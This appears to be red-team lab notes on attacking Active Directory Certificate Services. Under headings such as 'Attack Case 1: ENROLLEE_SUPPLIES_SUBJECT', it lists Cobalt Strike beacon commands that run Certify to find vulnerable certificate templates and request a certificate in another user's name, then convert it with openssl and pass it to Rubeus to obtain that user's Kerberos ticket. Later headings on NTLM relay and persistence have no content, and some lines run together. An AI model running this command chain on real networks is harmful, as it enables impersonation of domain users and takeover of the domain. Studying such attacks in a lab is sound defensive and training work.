Active Directory Certificate Services (ADCS)
Active Directory Certificate Services (ADCS)
Enumerate ADCS
Finding Certificate Authorities
beacon> execute-assembly C:\Tools\Certify\Certify\bin\Release\Certify.exe casMiconfigured Certificate template
beacon> execute-assembly C:\Tools\Certify\Certify\bin\Release\Certify.exe find /vulnerableAttack Case 1: ENROLLEE_SUPPLIES_SUBJECT
beacon> getuid
beacon> execute-assembly C:\Tools\Certify\Certify\bin\Release\Certify.exe request /ca:dc-2.dev.cyberbotic.io\sub-ca /template:CustomUser /altname:nlamb
ubuntu@DESKTOP-3BSK7NO ~> openssl pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out cert.pfx
ubuntu@DESKTOP-3BSK7NO ~> cat cert.pfx | base64 -w 0
beacon> execute-assembly C:\Tools\Rubeus\Rubeus\bin\Release\Rubeus.exe asktgt /user:nlamb /certificate:MIIM7w[...]ECAggA /password:<password> /nowrapAttack Case 2 : NTLMRelay on CA web endpoint
NTLM Relaying to ADCS HTTP Endpoints
ADCS Persistence
User Persistance
Computer Persistance
Last updated